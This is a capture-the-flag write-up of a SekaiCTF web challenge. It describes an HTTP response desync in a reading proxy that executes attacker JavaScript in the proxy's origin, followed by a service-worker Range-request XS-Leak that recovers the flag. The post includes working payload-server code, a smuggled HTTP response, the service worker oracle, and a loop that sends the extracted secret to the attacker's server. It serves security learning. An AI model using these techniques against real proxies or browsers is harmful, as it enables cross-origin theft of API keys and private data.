29/06/26
HTTPDesync&XS-LeakviaRangeOracle
EnD | SekaiCTF 2026
Thanks for sharing!
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

I know your browser history
Hey hey! Back again with another wild web challenge. This one is from SekaiCTF 2026. Will talk about HTTP Desync + XS-Leak in technical details! Simply explained. Hope you enjoy!
Download challenge from here
Challenge Overview
We get a "ReadView" app, basically a reading proxy. You register a URL, the proxy fetches it for you, and serves it at
/view/<name>/. There's an admin bot with a session cookie, and on the backend there's a Flask API holding the flag.The Architecture
- The bot visits any URL we give it. It has an admin session cookie set on
localhost:3000. - The proxy proxies our registered pages and applies a strict CSP: no inline scripts,
script-src 'self'only. - The API holds the flag in
_INBOX. We can search it with a valid API key. The API key is shown on/admin. - The API is not publicly reachable. Host header check blocks anything that isn't
localhost,api, or127.0.0.1.
The attack path is:
- Get JS running on the proxy origin -> read
/admin-> grab the API key - Use the API key to extract the flag from the search endpoint
Let's go stage by stage.
Stage 1: Making the Proxy Execute Our JS
Let's go over some basics first.
How Does HTTP Keep-Alive Work?
When your browser loads a page, it doesn't open a new connection for every single file. That would be so slow. Instead, HTTP/1.1 keeps the connection open and reuses it for multiple requests. Request 1 goes in, response 1 comes back, then request 2 goes in on the same connection, and so on
But here's the question: how does the browser know where one response ends and the next begins?
Answer: the
Content-Length header. It tells the browser exactly the length the response body is. Once the browser reads that many bytes, it considers the response done and marks the connection as free for the next requestServer -> Browser:
HTTP/1.1 200 OK
Content-Length: 5 <- "body is exactly 5 bytes"
Hello <- browser reads 5 bytes, stops. response done.
The Bug in the Proxy
The proxy tries to block scripts. When a request has
Sec-Fetch-Dest: script (browser adds this automatically for <script> tags), the proxy does this:// proxy/app.js
if (req.headers['sec-fetch-dest'] === 'script') {
h['content-length'] = '0' // "body is 0 bytes" -> tell browser it's empty
delete h['transfer-encoding']
}
res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res) // <<<< but still pipes the full body here
The proxy sends
Content-Length: 0 to the browser, but then it still sends the entire upstream body to the TCP socketWhat does the browser do? It reads
CL: 0, considers the response finished (zero bytes = done), and puts the socket back into the connection pool for reuse. The extra bytes keep arriving... but the browser already moved on. Those bytes sit orphaned in the TCP bufferWhen the next http request gets assigned to that same connection, the browser's HTTP parser reads those orphaned bytes and treats them as the start of a new response. If those bytes happen to look like a valid HTTP response (important. this is a must!) the browser acts on them
This is called an HTTP response desync. The browser's view of where responses begin and end is "out of sync" with what actually happened
Side note: Why doesn't Node.js stop this? Because Node.js doesn't enforce Content-Length on writes. You can declareCL: 0and still write as many bytes as you want. It just doesn't care:// Node.js _http_outgoing.js OutgoingMessage.prototype.write = function(chunk) { this._send(chunk) // no check against declared Content-Length }
Read more on Portswigger's HTTP Desync Attacks
Exploitation
Before we get into the steps, one thing needs mentioning: how do we make the orphaned bytes useful?
We mentioned that it will be in the start of the next response, but a response is not valid with just body bytes, it needs status line, headers .. etc
Those orphaned bytes need to look like a complete, valid HTTP response on their own: status line, headers, and a JS body. We craft that entire response ourselves and send it as the body of s6.
Now some chrome stuff
Chrome opens a maximum of 6 connections per host. If all 6 are occupied, any new request has to wait in line. When a socket frees up, the next waiting request gets assigned to it
Here is the plan:
We will load 8 scripts. We keep all 6 connections busy with slow-responding scripts, then trigger the desync on one of them. The queued scripts (s7/s8) just need a free socket, and the one they get happens to be poisoned with our orphaned bytes
To simply put it:
s1 ----[stall 2s, empty]----> just occupies slot 1
s2 ----[stall 2s, empty]----> just occupies slot 2
s3 ----[stall 2s, empty]----> just occupies slot 3
s4 ----[stall 2s, empty]----> just occupies slot 4
s5 ----[stall 2s, empty]----> just occupies slot 5
s6 ----[flush headers]-------> proxy sends CL:0 to browser
browser: "response done, socket is FREE"
[500ms later]
[write full HTTP response as body bytes onto that socket]
browser: doesn't care, already moved on
bytes sit ORPHANED on the freed socket
s7 ----[waiting...]----------> no free slot yet...
s6 socket just freed!
assigned to s7
browser reads orphaned bytes as s7's response
Content-Type: application/javascript
JS EXECUTES on proxy origin
s8 ----[waiting...]----------> backup in case s7 misses
Step 1: Register our server on the proxy
GET /add?name=evil&url=http://OUR_VPS:9999/
Now
/view/evil/ proxies to our server.Step 2: Submit the trigger URL to the bot:
We don't submit
/view/evil/ directly. Instead, we submit a page on our own server that opens the proxy page in a popup:<!-- Our /trigger page -->
<script>window.open('http://localhost:3000/view/evil/')</script>
<img src="/sleep"> <!-- keeps the trigger page alive for 30 seconds -->
The bot lands on our trigger page, which opens a popup to the proxy. That popup is what runs our attack
Step 3: The pool saturation page
When the proxy fetches our upstream
/ page (to serve it at /view/evil/), we return 8 script tags:<script async src="s1.js"></script>
<script async src="s2.js"></script>
<!-- ... -->
<script async src="s8.js"></script>
Chrome opens max 6 connections per host. All 8 script requests go through the proxy with
Sec-Fetch-Dest: script. Scripts s1-s5, s7-s8 deliberately stall for 2 seconds, keeping all 6 connections busy.Step 4: The desync payload (s6.js)
s6.js is our magic endpoint. Here's what it sends:if (p === '/s6.js') {
// The outer response: we tell proxy our body will be N bytes
// content-type: not/script avoids secondary type checks
res.writeHead(200, {
'content-type': 'not/script',
'content-length': Buffer.byteLength(SMUGGLED_RESPONSE),
'expect': '100-continue'
})
// Flush the headers NOW - don't wait for the body
// -> proxy immediately re-frames these headers to the browser as CL:0
// -> browser sees CL:0, considers s6.js "done", socket goes back to pool
res.flushHeaders()
// 500ms later: write our REAL payload as the "body"
// These bytes arrive AFTER the browser has marked the socket as free
setTimeout(() => {
res.socket.write(SMUGGLED_RESPONSE) // raw write, bypasses Node's framing
res.end()
}, 500)
}
SMUGGLED_RESPONSE is a complete, properly-formatted HTTP response:HTTP/1.1 200 OK
Content-Type: application/javascript
Content-Length: <size of our JS>
Connection: keep-alive
(function() {
// our malicious JS here - runs on proxy origin!
})();
What
flushHeaders() + Expect: 100-continue does: It forces the headers to be sent to the browser immediately, without waiting for the body. The proxy sees our upstream headers, applies the CL:0 rewrite, and sends those headers to the browser right now. The browser marks the socket as free. Then 500ms later, our body bytes arrive, but the browser's "socket is done" flag is already set, so those bytes land as orphansStep 5: The collision
With all 6 connections tied up by the slow scripts, and the orphaned bytes sitting in the pool... one of the queued script requests (s7 or s8) gets assigned to that exact socket. Chrome's parser reads the orphaned bytes, parses them as a proper HTTP response, and since
Content-Type: application/javascript -> executes the code.and we simply just exfiltrate the api key

Stage 2: Leaking the Flag
The Oracle
The API's search endpoint does this:
# api/app.py
q = request.args.get("q", "")
results = [m for m in _INBOX if m.startswith(q)] # prefix match
data = json.dumps({"results": results}).encode()
return send_file(io.BytesIO(data), mimetype="application/json", conditional=True)
conditional=True enables HTTP Range requestsHere's the key insight: the response body size changes depending on whether
q is a correct prefix:Query q | Match? | Body | Size |
|---|---|---|---|
SEKAI{ | yes | {"results":["SEKAI{...full flag...}"]} | ~43 bytes |
SEKAI{z | no | {"results":[]} | 15 bytes |
Now if we add a
Range: bytes=20- header to our request:- Hit (~43 bytes): bytes 20-42 exist -> 206 Partial Content
- Miss (~15 bytes): byte 20 doesn't exist -> 416 Range Not Satisfiable
Clean binary signal. But... we can't read the status of a cross-origin response. So how do we observe the 206 vs 416 difference?
The Side Channel
The bot runs puppeteer 22.12.0, which bundles Chrome 126 (126.0.6478.63). And we have this CVE-2026-1504 and its Chromium Issue 474435504
When a Service Worker replays a captured opaque206 Partial Contentresponse back to afetch()call, the fetch rejects. But an opaque416response lets the fetch resolve
Did you get it? We needed a way to differentiate between 206 and 416, and this is our way to it
Now let me walk you through the full mechanism
Step-by-Step: The Service Worker Oracle
Our oracle page (on our server, in the bot's popup) registers a Service Worker. SWs can intercept all fetches from their controlled page, including cross-origin ones to
localhost:9090.We load an
<audio> element pointing at the API search endpoint:var a = document.createElement('audio')
a.src = 'http://localhost:9090/messages/search'
+ '?q=' + encodeURIComponent(guess)
+ '&key=' + apiKey
+ '&size=30' // tells our SW how many fake bytes to use
+ '&_=' + Math.random()
document.body.appendChild(a)
Chrome's audio engine automatically issues two Range requests for audio content:
Range: bytes=0--> to get the beginningRange: bytes=30--> to get the rest (after seeing the first 30 bytes)
Our Service Worker intercepts both:
// sw.js
var _r // saved opaque response
self.addEventListener('fetch', function(e) {
var u = new URL(e.request.url)
var sz = new URLSearchParams(u.search).get('size')
if (sz !== null) {
var n = Number(sz) // n = 30
// First range request: we FAKE a 206 with exactly 30 bytes
// This tricks Chrome into asking for the rest
if (e.request.headers.get('range') === 'bytes=0-') {
e.respondWith(new Response('A'.repeat(n), {
status: 206,
headers: {
'Content-Type': 'audio/mpeg',
'Content-Range': 'bytes 0-' + (n-1) + '/999999',
'Accept-Ranges': 'bytes'
}
}))
return
}
// Second range request: forward to the REAL API, save the response
if (e.request.headers.get('range') === 'bytes=' + n + '-') {
e.respondWith(
fetch(e.request)
.then(function(r) {
_r = r.clone() // save the opaque response!
return r
})
.catch(function() {
return new Response('', { status: 416 })
})
)
return
}
}
// Replay the saved response when asked for /mock.css
if (u.pathname.includes('mock.css') && _r) {
var t = _r; _r = undefined
e.respondWith(t.clone())
}
})
After
audio.onerror fires (it always errors because we gave it fake audio data):a.onerror = function() {
// Try to "fetch" /mock.css -> SW will serve the saved opaque response
fetch('/mock.css', { mode: 'no-cors' })
.then(function() { resolve(false) }) // 416 (miss) -> resolves -> false
.catch(function() { resolve(true) }) // 206 (hit) -> rejects -> true
}
The full flow:

Extracting the Flag Character by Character
Now we have a yes/no oracle for any prefix guess. We loop through a charset and extend the known prefix one character at a time:
var CHARSET = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!@#$%&-'
var secret = '' // start empty (or from a known prefix if resuming)
for (var i = 0; i < 80; i++) {
var found = false
for (var j = 0; j < CHARSET.length; j++) {
if (await oracle(secret + CHARSET[j])) {
secret += CHARSET[j]
found = true
break
}
}
// Report progress to our server
new Image().src = '/cb?token=' + encodeURIComponent(secret)
if (!found) break // flag complete
}
SEKAI{proxy_said_n0_w4y_l0ng_W4y_4nD_f1n4lllyyy_Y0u_are_H3r3_here_eda1ndj}
Edit: someone actually solved it with a timing side channel instead. The response body size differs by ~28 bytes between a hit and a miss, too small to measure reliably on its own. The trick was amplification: fire 160 parallel requests per guess and measure total completion time. 160 * 28 bytes = 4480 bytes of extra data on a hit, which creates a consistent, measurable gap even over loopback.
here is his comment in the server for credit: here (you must join the discord server to view this message)
This one took a lot of research and iteration. Big respect to the challenge author zonkor, check out his solver and writeup here
That was it, stay amazing. See you in the next one!
Tags:

